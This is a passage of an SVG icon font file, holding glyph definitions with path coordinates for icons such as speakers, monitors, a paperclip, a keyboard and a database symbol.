			L 252,146 z M 266,48l-84,0 c-7.742,0-14-6.258-14-14l0-84 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14l0,84 C 280,41.742, 273.742,48, 266,48z M 252-22
			c0-7.742-6.258-14-14-14l-28,0 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 252-22 z M 434,216l-84,0 c-7.742,0-14-6.258-14-14
			l0-84 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14l0,84 C 448,209.742, 441.742,216, 434,216z M 420,146c0-7.742-6.258-14-14-14l-28,0 c-7.742,0-14,6.258-14,14
			l0,28 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 420,146 z M 434,384l-84,0 c-7.742,0-14-6.258-14-14l0-84 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,20.258, 14,28L 448,370 
			C 448,377.742, 441.742,384, 434,384z M 420,314c0-7.742-6.258-14-14-14l-28,0 c-7.742,0-14,6.258-14,14L 364,342 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 420,314 z
			 M 266,384l-84,0 c-7.742,0-14-6.258-14-14l0-84 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,20.258, 14,28L 280,370 C 280,377.742, 273.742,384, 266,384z M 252,314
			c0-7.742-6.258-14-14-14l-28,0 c-7.742,0-14,6.258-14,14L 196,342 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 252,314 z M 434,48l-84,0 c-7.742,0-14-6.258-14-14l0-84 
			c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14l0,84 C 448,41.742, 441.742,48, 434,48z M 420-22c0-7.742-6.258-14-14-14l-28,0 c-7.742,0-14,6.258-14,14
			l0,28 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 420-22 z"  />
<glyph unicode="&#xe2ee;" d="M 336-64L 336-64c-7.742,0-14,6.258-14,14l-140,126L 112,76 c-7.728,0-14,6.258-14,14l0,112 
	c0,7.742, 6.272,14, 14,14l 70,0 L 322,370c0,7.742, 6.258,14, 14,14l0,0c 7.742,0, 14-6.258, 14-14l0-420 C 350-57.742, 343.742-64, 336-64z"  />
<glyph unicode="&#xe2ef;" d="M 315.91,327.804c-2.632,0-5.194-0.294-7.77-0.49l0-24.36 
			c 60.074,0, 108.78-63.994, 108.78-142.954s-48.706-142.954-108.78-142.954l0-24.36 c 2.576-0.196, 5.138-0.49, 7.77-0.49
			C 388.878-7.804, 448,67.32, 448,160S 388.878,327.804, 315.91,327.804z M 378.070,160c0,48.804-29.652,89.53-69.916,102.27l0-33.6 
			c 20.608-12.278, 34.958-38.276, 34.958-68.656s-14.35-56.378-34.958-68.656l0-33.6 C 348.418,70.47, 378.070,111.196, 378.070,160z M 238.112,384
			c-7.742,0-14-6.258-14-14L 84.028,216L 14,216 c-7.742,0-14-6.258-14-14l0-112 c0-7.742, 6.272-14, 14-14l 70.028,0 l 140.070-126c0-7.742, 6.258-14, 14-14
			c 7.756,0, 14.014,6.258, 14.014,14L 252.112,370 C 252.126,377.742, 245.868,384, 238.112,384z"  />
<glyph unicode="&#xe2f0;" d="M 420,384L 28,384 C 12.544,384,0,371.456,0,356l0-280 c0-15.456, 12.544-28, 28-28l 112,0 l-56-112l 14,0 l 100.8,112l 50.4,0 l 100.8-112l 14,0 
		l-56,112l 112,0 c 15.456,0, 28,12.544, 28,28L 448,356 C 448,371.456, 435.456,384, 420,384z M 420,90c0-7.742-6.258-14-14-14L 42,76 c-7.742,0-14,6.258-14,14L 28,342 c0,7.742, 6.258,14, 14,14
		l 364,0 c 7.742,0, 14-6.258, 14-14L 420,90 z M 292.292,165.166L 228.998,327.972l-69.132-130.060l-38.584,39.69L 56,196.918l 18.424-10.612l 8.862,5.516l 32.97,20.552
		l 50.47-51.968l 58.45,109.942l 64.624-166.306l 55.118,116.032l 22.456-47.796L 392,176.408l-46.956,99.848L 292.292,165.166z"  />
<glyph unicode="&#xe2f1;" d="M 224,272c-61.852,0-112-50.148-112-112s 50.148-112, 112-112s 112,50.148, 112,112S 285.852,272, 224,272z M 224,76
			c-46.382,0-84,37.618-84,84s 37.618,84, 84,84s 84-37.618, 84-84S 270.382,76, 224,76z M 224,384C 100.282,384,0,283.718,0,160s 100.282-224, 224-224s 224,100.282, 224,224
			S 347.718,384, 224,384z M 224-8C 131.222-8, 56,67.222, 56,160S 131.222,328, 224,328s 168-75.222, 168-168S 316.778-8, 224-8z M 224,202c-23.198,0-42-18.802-42-42
			s 18.802-42, 42-42s 42,18.802, 42,42S 247.198,202, 224,202z"  />
<glyph unicode="&#xe2f2;" d="M 251.454,216.644L 251.454,356 L 448,160L 251.454-36L 251.454,104.588 C 151.564,104.588, 52.976,87.2,0,4.684
	C 5.516,155.058, 118.020,190.856, 251.454,216.644z"  />
<glyph unicode="&#xe2f3;" d="M 181.314-7.678c-0.35-0.35-0.714-0.714-1.050-1.064
	c-35.112-33.586-90.958-34.244-124.824-1.344c-35.924,33.81-36.638,82.782, 0.616,120.456c 0.294,0.294, 0.532,0.602, 0.826,0.896
	c 0.35,0.322, 0.686,0.672, 1.022,0.994l 231.28,224.756l0-0.098 l 0.056,0.182l 1.834,1.792c 21.364,20.328, 55.244,20.692, 75.796,0.714
	c 12.362-17.612, 20.146-53.046-0.686-73.654l-1.918-1.876l-21.882-21.238l-20.076-19.53L 152.922,58.738l-0.084,0.084l-19.544-18.984
	l-0.532,0.658l-0.49-0.546l-0.966-1.064c-0.084-0.056-0.182-0.112-0.252-0.196c-7.812-7.056-19.866-7.112-27.244,0.056
	c-7.308,7.112-7.294,17.528-0.014,25.284c 0.238,0.224, 0.378,0.49, 0.616,0.714l 21.196,20.608l 155.19,150.794L 259.56,256.74L 104.37,105.918
	l-18.844-20.566l0-0.028 c-0.056-0.056-0.112-0.084-0.182-0.168c-0.168-0.168-0.308-0.322-0.476-0.504
	c-19.362-19.334-22.036-47.432-2.94-66.010c 19.11-18.55, 50.428-17.080, 70.308,1.75l 0.028-0.028l 0.392,0.406
	c 0.042,0.028, 0.084,0.056, 0.112,0.084c 0.042,0.028, 0.070,0.084, 0.098,0.112l 210.728,201.264l 21.854,21.266l 1.946,1.862l-0.028,0.028
	c 32.984,32.522, 17.318,93.436, 1.372,115.472c-32.452,31.528-85.876,30.758-119.322-1.764c-0.49-0.462-0.896-0.98-1.372-1.47l-0.056,0.042
	L 36.68,132.882l 0.028-0.028c-0.182-0.196-0.378-0.322-0.574-0.518c-0.322-0.294-0.616-0.686-0.938-1.008l-0.336-0.322l 0.014-0.028
	c-45.878-45.948-46.634-118.202-1.288-162.316c 45.794-44.506, 121.212-43.386, 168.42,2.492c 0.196,0.196, 0.336,0.378, 0.532,0.574l 0.056-0.056
	L 448,210.162l-21.224,20.622L 181.314-7.678z"  />
<glyph unicode="&#xe2f4;" d="M 182,132c 7.728,0, 14,6.258, 14,14s-6.272,14-14,14s-14-6.258-14-14S 174.272,132, 182,132z M 224,188
			c 7.742,0, 14,6.258, 14,14s-6.258,14-14,14s-14-6.258-14-14S 216.258,188, 224,188z M 182,244c 7.728,0, 14,6.258, 14,14s-6.272,14-14,14s-14-6.258-14-14
			S 174.272,244, 182,244z M 266,244c 7.742,0, 14,6.258, 14,14s-6.258,14-14,14s-14-6.258-14-14S 258.258,244, 266,244z M 140,188c 7.728,0, 14,6.258, 14,14
			s-6.272,14-14,14s-14-6.258-14-14S 132.272,188, 140,188z M 350,244c 7.742,0, 14,6.258, 14,14s-6.258,14-14,14s-14-6.258-14-14S 342.258,244, 350,244z M 308,188
			c 7.742,0, 14,6.258, 14,14s-6.258,14-14,14s-14-6.258-14-14S 300.258,188, 308,188z M 266,132c 7.742,0, 14,6.258, 14,14s-6.258,14-14,14s-14-6.258-14-14
			S 258.258,132, 266,132z M 378,216c-7.742,0-14-6.258-14-14s 6.258-14, 14-14s 14,6.258, 14,14S 385.742,216, 378,216z M 420,328L 28,328 C 12.544,328,0,315.456,0,300l0-280 
			c0-15.456, 12.544-28, 28-28l 392,0 c 15.456,0, 28,12.544, 28,28L 448,300 C 448,315.456, 435.456,328, 420,328z M 420,34c0-7.742-6.258-14-14-14L 42,20 c-7.728,0-14,6.258-14,14L 28,286 
			c0,7.742, 6.272,14, 14,14l 364,0 c 7.742,0, 14-6.258, 14-14L 420,34 z M 322,76L 126,76 c-7.728,0-14-6.258-14-14s 6.272-14, 14-14l 196,0 c 7.742,0, 14,6.258, 14,14
			S 329.742,76, 322,76z M 70,216c-7.728,0-14-6.258-14-14s 6.272-14, 14-14s 14,6.258, 14,14S 77.728,216, 70,216z M 98,160c-7.728,0-14-6.258-14-14s 6.272-14, 14-14
			s 14,6.258, 14,14S 105.728,160, 98,160z M 98,244c 7.728,0, 14,6.258, 14,14S 105.728,272, 98,272S 84,265.742, 84,258S 90.272,244, 98,244z M 350,160c-7.742,0-14-6.258-14-14
			s 6.258-14, 14-14s 14,6.258, 14,14S 357.742,160, 350,160z"  />
<glyph unicode="&#xe2f5;" d="M 335.972,252.526l 80.038,80.038c 5.376,5.362, 5.376,14.070,0,19.446
		c-5.362,5.362-14.056,5.362-19.432,0l-80.052-80.052L 111.972,271.958 l0,42 c0,7.742-6.272,14-14,14l-28,0 c-7.728,0-14-6.258-14-14l0-42 l-42,0 c-7.728,0-14-6.258-14-14
		l0-28 c0-7.742, 6.272-14, 14-14l 42,0 l0-210 c0-7.742, 6.272-14, 14-14l 210,0 l0-42 c0-7.742, 6.258-14, 14-14l 28,0 c 7.742,0, 14,6.258, 14,14l0,42 l 42,0 c 7.742,0, 14,6.258, 14,14l0,28 
		c0,7.742-6.258,14-14,14l-42,0 L 335.972,252.526 z M 260.526,215.972L 111.972,67.404L 111.972,215.972 L 260.526,215.972 z M 131.432,47.972l 148.54,148.554l0-148.554 L 131.432,47.972 z"  />
<glyph unicode="&#xe2f6;" d="M 420-64L 28-64 c-15.456,0-28,12.544-28,28L0,356 c0,15.456, 12.544,28, 28,28l 336,0 l 84-84l0-336 
	C 448-51.456, 435.456-64, 420-64z M 112,6c0-7.742, 6.272-14, 14-14l 196,0 c 7.742,0, 14,6.258, 14,14l0,112 c0,7.742-6.258,14-14,14L 126,132 c-7.728,0-14-6.258-14-14L 112,6 z
	 M 308,314c0,7.742-6.258,14-14,14s-14-6.258-14-14l0-42 c0-7.742, 6.258-14, 14-14s 14,6.258, 14,14L 308,314 z M 392,286l-42,42l-14,0 l0-98 c0-7.742-6.258-14-14-14L 126,216 
	c-7.728,0-14,6.258-14,14L 112,328 L 70,328 C 62.272,328, 56,321.742, 56,314l0-308 c0-7.742, 6.272-14, 14-14l 14,0 L 84,146 c0,7.742, 6.272,14, 14,14l 252,0 c 7.742,0, 14-6.258, 14-14l0-154 l 14,0 
	c 7.742,0, 14,6.258, 14,14L 392,286 z"  />
<glyph unicode="&#xe2f7;" d="M 448,315.316c0-52.71-141.414-176.134-167.818-228.858l0-109.046 
	c0-0.294-0.168-0.504-0.196-0.798L 279.986-36 c0-15.456-12.544-28-27.986-28l-56,0 c-15.456,0-28,12.544-28,28l0,12.586 c-0.028,0.294-0.21,0.504-0.21,0.826
	l0,109.046 C 141.428,139.182,0,262.606,0,315.316l 0.406,0 C 0.322,315.904,0,316.408,0,316.968C0,346.942, 100.338,384, 224,384s 224-37.058, 224-67.032
	c0-0.56-0.322-1.064-0.42-1.652L 448,315.316 z M 226.38,356.224c-108.514,0-198.576-17.43-198.576-49.392c0-31.948, 90.062-63.070, 198.576-63.070
	c 108.528,0, 193.34,31.122, 193.34,63.070C 419.706,338.794, 334.908,356.224, 226.38,356.224z"  />
<glyph unicode="&#xe2f8;" d="M 343,384l-238,0 C 46.998,384,0,337.002,0,279S 46.998,174, 105,174l 19.096,0 
	c 22.344-22.764, 52.36-37.94, 85.904-41.272L 210-8 l-42,0 l-56-56l 224,0 l-56,56l-42,0 L 238,132.728 c 33.544,3.332, 63.56,18.508, 85.904,41.272L 343,174 
	c 58.002,0, 105,46.998, 105,105S 401.002,384, 343,384z M 28,279c0,35.196, 23.744,64.54, 56,73.738L 84,342 l0-14 l0-56 c0-25.424, 6.888-49.224, 18.746-69.762
	C 61.292,203.456, 28,237.252, 28,279z M 345.254,202.238C 357.112,222.776, 364,246.576, 364,272L 364,328 L 364,342 L 364,352.738 c 32.256-9.184, 56-38.542, 56-73.738
	C 420,237.252, 386.708,203.456, 345.254,202.238z"  />
<glyph unicode="&#xe2f9;" d="M 392,76l-28,0 c-30.926,0-56,25.074-56,56s 25.074,56, 56,56l 28,0 c 30.926,0, 56-25.074, 56-56
	S 422.926,76, 392,76z M 392,160l-28,0 c-15.456,0-28-12.544-28-28s 12.544-28, 28-28l 28,0 c 15.456,0, 28,12.544, 28,28S 407.456,160, 392,160z M 280,132
	c0-1.204, 0.294-2.31, 0.35-3.5C 280.294,127.324, 280,126.204, 280,125c0-14.728, 5.264-28.084, 13.72-38.808C 308.714,63.232, 334.544,48, 364,48l 56,0 
	l0-56 c0-15.456-12.544-28-28-28L 28-36 c-15.456,0-28,12.544-28,28L0,265 L0,272 L0,307 c0,22.022, 14.63,40.446, 34.65,46.606C 36.806,354.992, 39.242,356, 42,356l 364,0 
	c 7.742,0, 14-6.258, 14-14s-6.258-14-14-14L 154,328 L 93.1,328 L 42,328 C 34.258,328, 28,321.742, 28,314l0-14 l 364,0 c 15.456,0, 28-12.544, 28-28l0-56 l-56,0 C 317.618,216, 280,178.382, 280,132z
	 M 35-8l 350,0 c 3.864,0, 7,3.136, 7,7S 388.864,6, 385,6l-350,0 C 31.136,6, 28,2.864, 28-1S 31.136-8, 35-8z M 392,265
	C 392,268.864, 388.864,272, 385,272l-350,0 C 31.136,272, 28,268.864, 28,265S 31.136,258, 35,258l 350,0 C 388.864,258, 392,261.136, 392,265z"  />
<glyph unicode="&#xe2fa;" d="M 406-64L 98-64 c-7.728,0-14,6.258-14,14l0,14 L 42-36 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14
	l 42,0 l0,28 L 42,48 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14l 42,0 l0,28 L 42,132 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14l 42,0 l0,28 L 42,216 
	c-7.742,0-14,6.258-14,14L 28,258 c0,7.742, 6.258,14, 14,14l 42,0 L 84,300 L 42,300 C 34.258,300, 28,306.258, 28,314L 28,342 c0,7.742, 6.258,14, 14,14l 42,0 L 84,370 c0,7.742, 6.272,14, 14,14l 308,0 
	c 7.742,0, 14-6.258, 14-14l0-420 C 420-57.742, 413.742-64, 406-64z M 84,342L 56,342 C 48.258,342, 42,335.742, 42,328s 6.258-14, 14-14l 28,0 c 7.742,0, 14,6.258, 14,14S 91.742,342, 84,342z
	 M 84,258L 56,258 c-7.742,0-14-6.258-14-14s 6.258-14, 14-14l 28,0 c 7.742,0, 14,6.258, 14,14S 91.742,258, 84,258z M 84,174L 56,174 c-7.742,0-14-6.258-14-14s 6.258-14, 14-14l 28,0 
	c 7.742,0, 14,6.258, 14,14S 91.742,174, 84,174z M 84,90L 56,90 c-7.742,0-14-6.258-14-14s 6.258-14, 14-14l 28,0 c 7.742,0, 14,6.258, 14,14S 91.742,90, 84,90z M 84,6L 56,6 
	c-7.742,0-14-6.258-14-14s 6.258-14, 14-14l 28,0 c 7.742,0, 14,6.258, 14,14S 91.742,6, 84,6z M 336,91.75c0,23.87-29.652,32.438-68.768,36.022
	c 1.624,0.994, 3.108,2.632, 4.578,4.228L 266,132 c 7.742,0, 14,6.258, 14,14l0,84 c0,7.742-6.258,14-14,14l-28,0 c-7.742,0-14-6.258-14-14l0-84 
	c0-7.742, 6.258-14, 14-14l-5.81,0 c 1.47-1.596, 2.968-3.22, 4.578-4.228C 197.652,124.188, 168,115.298, 168,91.75L 168,76 l 168,0 L 336,91.75 z"  />
<glyph unicode="&#xe2fb;" d="M 224,384C 100.282,384,0,283.718,0,160s 100.282-224, 224-224s 224,100.282, 224,224S 347.718,384, 224,384z M 308,104
		c0-15.456-12.544-28-28-28l-112,0 c-15.456,0-28,12.544-28,28l0,112 c0,15.456, 12.544,28, 28,28l 112,0 c 15.456,0, 28-12.544, 28-28L 308,104 z"  />
<glyph unicode="&#xe2fc;" d="M 308,244c-15.456,0-28-12.544-28-28s 12.544-28, 28-28s 28,12.544, 28,28S 323.456,244, 308,244zM 140,188c 15.456,0, 28,12.544, 28,28s-12.544,28-28,28s-28-12.544-28-28S 124.544,188, 140,188zM 224,384C 100.282,384,0,283.718,0,160c0-123.718, 100.282-224, 224-224c 123.718,0, 224,100.282, 224,224
		C 448,283.718, 347.718,384, 224,384z M 140,272c 30.926,0, 56-25.074, 56-56s-25.074-56-56-56s-56,25.074-56,56S 109.074,272, 140,272z
		 M 224-8c-57.4,0-106.666,34.58-128.268,84l 256.536,0 C 330.666,26.58, 281.4-8, 224-8z M 308,160c-30.926,0-56,25.074-56,56
		s 25.074,56, 56,56s 56-25.074, 56-56S 338.926,160, 308,160z"  />
<glyph unicode="&#xe2fd;" d="M 270.438,285.93l 14.434,0 c 27.986,38.528-19.208,56.042,0,98.070l-14.434,0 
		C 253.652,342.672, 293.132,326.558, 270.438,285.93z M 214.116,271.916l 14.672,0 c-19.516,42.028, 28.434,73.556,0,112.084l-14.672,0 
		C 237.174,343.372, 197.050,313.244, 214.116,271.916z M 426.538,28.162c-2.8,10.794-6.146,16.31-21.434,17.514
		c-5.81,0.378-11.368,0.714-17.136,1.092c 0.154,0.28, 0.252,0.686, 0.378,0.98l-44.66,0 c-3.892,0-7.056,3.136-7.056,7
		c0,3.878, 3.164,7.014, 7.056,7.014l 47.684,0 c 0.98,11.9-0.434,26.502-4.662,34.118c-6.258,12.054-12.082,21.854-17.738,29.596
		c-9.758,12.18-27.846,20.342-41.216,24.738c-1.568,0.406-3.472,0.77-5.53,1.106c-0.714-3.122-3.388-5.502-6.734-5.502l-42.294,0 
		c-3.892,0-7.056,3.136-7.056,7.014c0,1.638, 5.726,3.136, 12.544,4.34c-8.484,20.062, 1.554,44.688, 1.554,44.688
		c0,15.47-28.21,46.69-28.21,28.014s-67.102,0-67.102,0c-9.114,10.206-17.486,28.014-17.486,28.014s-24.584-13.888-27.608-31.584
		c-8.722-4.76-14.7-13.86-14.7-24.458l0-14 c0-6.538, 1.162-17.5, 4.088-28.014l 31.164,0 c 3.892,0, 7.056-3.136, 7.056-7
		c0-3.878-3.164-7.014-7.056-7.014L 118.118,145.818 c-3.164,0-5.726,2.072-6.636,4.928c-9.324,2.030-18.76,4.676-28.336,8.302
		c-15.708-0.322-28.462-12.642-28.462-27.972l0-27.706 c 0.014-5.166, 1.484-10.052, 4.074-14.294c 0.896,0.42, 1.904,0.7, 2.968,0.7l 56.392,0 
		c 3.892,0, 7.042-3.136, 7.042-7s-3.15-7.014-7.042-7.014L 74.956,75.762 c 1.232-0.476, 2.478-0.952, 3.794-1.302
		c-7.868,0.084-15.75,0.35-23.604,0.35c-13.748-0.070-32.536-11.886-38.906-22.596c-9.506-16.632-14.462-29.988-16.184-56.238
		C-0.868-21.552, 11.046-64, 24.262-64s 381.010,0.308, 381.010,0.308s 41.93,26.054, 42.63,42.098C 449.554,2.458, 429.982,11.866, 426.538,28.162z
		 M 162.512,299.944l 14.672,0 c-23.058,40.628, 17.066,42.728,0,84.056l-14.672,0 C 182.014,341.972, 134.092,338.472, 162.512,299.944z"  />
<glyph unicode="&#xe2fe;" d="M 336-64l-112,154L 112-64c-15.456,0-28,12.544-28,28L 84,356 c0,15.456, 12.544,28, 28,28l 224,0 
	c 15.456,0, 28-12.544, 28-28l0-392 C 364-51.456, 351.456-64, 336-64z M 329,356l-210,0 C 115.136,356, 112,352.864, 112,349S 115.136,342, 119,342l 210,0 C 332.864,342, 336,345.136, 336,349
	S 332.864,356, 329,356z"  />
<glyph unicode="&#xe2ff;" d="M 420,6l-84,70l0-70 c0-15.456-12.544-28-28-28L 28-22 c-15.456,0-28,12.544-28,28L0,244 c0,15.456, 12.544,28, 28,28
	l 107.772,0 L 94.36,328L 14,328 C 6.272,328,0,334.258,0,342s 6.272,14, 14,14l 84,0 c 7.728,0, 14-6.258, 14-14l 57.008-70L 308,272 c 15.456,0, 28-12.544, 28-28l0-70 l 84,84c 15.456,0, 28-12.544, 28-28
	l0-196 C 448,18.544, 437.206,6, 420,6z M 294,244l-84,0 c-7.742,0-14-6.258-14-14s 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14S 301.742,244, 294,244z"  />
<glyph unicode="&#xe300;" d="M 364,174c-7.742,0-14-6.258-14-14l0-98 c0-7.742, 6.258-14, 14-14s 14,6.258, 14,14l0,98 
		C 378,167.742, 371.742,174, 364,174z M 322-36L 126-36 c-7.728,0-14-6.258-14-14s 6.272-14, 14-14l 196,0 c 7.742,0, 14,6.258, 14,14S 329.742-36, 322-36z M 280,370
		c0,7.742-6.258,14-14,14l-70,0 c0,0-14-6.258-14-14L0,202c0-7.742, 6.272-14, 14-14l 168,0 c-7.742,0-14-20.258-14-28l0-168 c0-7.742, 6.258-14, 14-14l 84,0 
		c 7.742,0, 14,6.258, 14,14L 280,160 c0,7.742-6.258,28-14,28l 168,0 c 7.742,0, 14,6.258, 14,14L 280,370z"  />
<glyph unicode="&#xe301;" d="M 164.598,219.388c-32.802-32.802-32.802-85.988,0-118.79
			c 32.802-32.802, 85.988-32.802, 118.79,0c 32.816,32.816, 32.816,86.002,0,118.79C 250.586,252.204, 197.414,252.204, 164.598,219.388z M 243.796,140.204
			c-10.934-10.934-28.658-10.934-39.592,0s-10.934,28.658,0,39.592s 28.658,10.934, 39.592,0S 254.73,151.138, 243.796,140.204z M 382.382,318.382
			c-87.472,87.486-229.306,87.486-316.778,0c-87.486-87.472-87.486-229.306,0-316.778c 87.472-87.486, 229.306-87.486, 316.778,0
			C 469.868,89.090, 469.868,230.91, 382.382,318.382z M 303.184,80.802c-43.722-43.736-114.646-43.736-158.382,0c-43.75,43.75-43.75,114.646,0,158.396
			c 43.736,43.736, 114.66,43.736, 158.382,0C 346.934,195.448, 346.934,124.552, 303.184,80.802z M 313.082,249.096l 49.504,69.286l 19.796-19.796
			L 313.082,249.096z"  />
<glyph unicode="&#xe302;" d="M 224,384C 100.296,384,0,283.718,0,160s 100.296-224, 224-224c 123.704,0, 224,100.282, 224,224
			S 347.704,384, 224,384z M 224-8C 131.222-8, 56,67.222, 56,160S 131.222,328, 224,328c 92.778,0, 168-75.222, 168-168S 316.778-8, 224-8z M 224,300
			C 146.678,300, 84,237.308, 84,160s 62.678-140, 140-140c 77.322,0, 140,62.692, 140,140S 301.322,300, 224,300z M 168,76c-15.456,0-28,12.544-28,28s 12.544,28, 28,28
			s 28-12.544, 28-28S 183.456,76, 168,76z M 168,188c-15.456,0-28,12.544-28,28s 12.544,28, 28,28s 28-12.544, 28-28S 183.456,188, 168,188z M 280,76
			c-15.456,0-28,12.544-28,28s 12.544,28, 28,28s 28-12.544, 28-28S 295.456,76, 280,76z M 280,188c-15.456,0-28,12.544-28,28s 12.544,28, 28,28s 28-12.544, 28-28
			S 295.456,188, 280,188z"  />
<glyph unicode="&#xe303;" d="M 224.196,74.852c-0.518,0-1.036,0-1.554,0c-122.948,0-222.39,29.862-222.418,52.794
	l-0.224,90.062c0,0.14, 0.056,0.266, 0.056,0.378c 20.244-9.604, 44.030-14.028, 58.254-16.674c 44.198-8.218, 102.578-12.754, 164.332-12.754l 1.554,0 
	c 62.146,0.070, 120.862,4.718, 165.382,13.076c 14.238,2.674, 37.94,7.126, 58.198,16.674c0-0.042,0-0.126,0-0.126l 0.238-90.062
	C 448.042,105.19, 347.872,75.020, 224.196,74.852z M 224.196,215.776c-0.518,0-1.036,0-1.554,0c-122.948,0-222.39,27.244-222.418,50.176
	l-0.224,76.076C-0.042,365.044, 100.184,383.846, 223.86,384c 0.546,0, 1.064,0, 1.61,0c 122.906,0, 222.278-18.48, 222.306-41.412l 0.238-76.076
	C 448.042,243.496, 347.872,215.944, 224.196,215.776z M 222.628,47.72l 1.554,0 c 62.146,0.084, 120.876,7.336, 165.382,15.694
	c 14.238,2.674, 37.94,7.126, 58.212,16.688l 0.224-102.144c 0.028-23.030-100.142-41.818-223.818-41.972c-0.532,0-1.036,0-1.582,0
	c-122.92,0-222.362,18.48-222.39,41.398L0,79.794c 20.244-9.618, 44.044-14.042, 58.296-16.688C 102.494,54.874, 160.86,47.72, 222.628,47.72z"  />
<glyph unicode="&#xe304;" d="M 420,328L 28,328 C 12.544,328,0,315.456,0,300l0-280 c0-15.456, 12.544-28, 28-28l 392,0 c 15.456,0, 28,12.544, 28,28L 448,300 
		C 448,315.456, 435.456,328, 420,328z M 42,300l 364,0 c 7.742,0, 14-6.258, 14-14l0-42 L 28,244 L 28,286 C 28,293.742, 34.258,300, 42,300z M 406,20L 42,20 c-7.742,0-14,6.258-14,14l0,126 l 392,0 l0-126 
		C 420,26.258, 413.742,20, 406,20z"  />
<glyph unicode="&#xe305;" d="M 390.432,159.86c 17.528,19.446, 30.086,38.598, 37.408,56.994
	c 8.456,21.35, 8.148,39.886-0.896,55.076c-9.086,15.218-25.732,24.752-49.434,28.322c-20.342,3.080-43.946,2.282-70.406-2.38
	c-8.764,24.29-19.782,44.282-32.774,59.486c-15.134,17.696-32.116,26.656-50.428,26.656c-18.368,0-35.336-9.016-50.456-26.81
	c-13.006-15.288-23.926-35.294-32.522-59.528C 114.45,302.492, 90.86,303.332, 70.518,300.266C 46.816,296.682, 30.184,287.148, 21.070,271.916
	c-9.044-15.19-9.352-33.712-0.896-55.062c 7.28-18.354, 19.908-37.492, 37.59-56.966c-17.668-19.516-30.254-38.626-37.45-56.896
	c-8.4-21.28-8.036-39.76, 1.036-54.908c 9.058-15.218, 25.648-24.794, 49.266-28.448c 20.272-3.164, 43.862-2.352, 70.322,2.45
	c 8.736-24.206, 19.684-44.184, 32.62-59.43c 15.036-17.71, 31.962-26.67, 50.344-26.67c 18.326,0, 35.294,8.974, 50.428,26.656
	c 12.978,15.19, 23.982,35.224, 32.746,59.612c 26.46-5.040, 49.98-6.006, 70.196-2.856c 23.506,3.654, 40.124,13.188, 49.434,28.448
	c 9.058,15.19, 9.366,33.712, 0.882,55.076C 420.308,121.22, 407.834,140.358, 390.432,159.86z M 193.816-19.256
	c-9.45,12.054-17.598,28.182-24.262,47.95c 18.368,4.998, 36.68,11.354, 54.558,18.956c 17.948-7.7, 36.232-14.056, 54.544-18.956
	c-6.776-19.726-15.022-35.826-24.57-47.908C 234.584-43.952, 213.178-43.952, 193.816-19.256z M 254.072,339.13
	c 9.534-12.166, 17.794-28.308, 24.57-48.048c-17.066-4.606-35.336-10.892-54.53-18.788c-18.634,7.588-37.016,14-54.782,19.068
	c 6.776,19.544, 14.994,35.602, 24.486,47.768C 213.206,363.98, 234.57,363.98, 254.072,339.13z M 328.79,176.744c 7.462-5.852, 14.28-11.522, 20.37-16.968
	c-4.144-3.822-8.47-7.616-12.936-11.284c-2.45-2.002-4.928-4.018-7.434-6.062c 0.238,6.16, 0.336,12.068, 0.336,17.668
	C 329.14,165.208, 329.028,170.78, 328.79,176.744z M 325.766,215.734c-2.198,19.222-5.684,37.66-10.374,54.978c 21.252,4.186, 39.97,5.418, 55.706,3.64
	c 16.058-1.806, 26.824-7.056, 31.962-15.512c 5.25-8.806, 4.676-20.062-1.778-34.398c-6.23-13.916-16.716-28.784-31.22-44.268
	C 356.356,192.718, 341.516,204.646, 325.766,215.734z M 224.126,79.696c-12.614,5.6-25.158,11.928-37.282,18.788
	c-13.832,7.924-25.662,15.176-35.224,21.56c-1.050,11.662-1.582,25.13-1.582,40.068c0,14.924, 0.532,28.294, 1.568,39.816
	c 10.36,6.762, 22.344,14.028, 35.56,21.504c 11.9,6.468, 24.304,12.698, 36.946,18.55c 12.6-5.908, 25.018-12.124, 36.806-18.438
	c 12.404-7.126, 24.388-14.322, 35.714-21.476c 1.050-11.76, 1.568-25.172, 1.568-39.956c0-14.938-0.518-28.476-1.568-40.278
	c-10.5-6.888-22.386-14.056-35.448-21.364C 249.466,91.75, 237.034,85.436, 224.126,79.696z M 276.304,246.828
	c-4.648,2.618-9.828,5.39-15.484,8.33c 8.96,3.262, 17.612,6.132, 25.858,8.568c 2.030-8.512, 3.78-17.15, 5.222-25.816
	C 286.916,240.892, 281.708,243.874, 276.304,246.828z M 161.518,263.656c 8.4-2.548, 16.912-5.404, 25.494-8.54c-5.32-2.688-10.416-5.46-15.26-8.246
	c-5.418-2.982-10.626-5.95-15.568-8.918C 157.696,246.702, 159.474,255.312, 161.518,263.656z M 119.462,142.654c-7.532,5.782-14.42,11.536-20.636,17.206
	c 6.328,5.698, 13.188,11.368, 20.552,16.968c-0.182-5.46-0.266-11.004-0.266-16.702C 119.126,154.092, 119.238,148.254, 119.462,142.654z M 132.692,271.132
	c-4.69-17.836-8.12-36.274-10.206-54.936c-16.24-11.564-31.178-23.646-44.534-35.994c-14.504,15.456-25.032,30.324-31.36,44.282
	c-6.482,14.294-7.028,25.508-1.638,34.3c 5.25,8.638, 15.708,13.762, 31.99,15.68c 4.928,0.574, 10.192,0.868, 15.638,0.868
	C 104.608,275.332, 118.076,273.918, 132.692,271.132z M 46.732,95.334c 6.258,13.958, 16.674,28.812, 30.996,44.212c 13.496-12.502, 28.504-24.654, 44.744-36.204
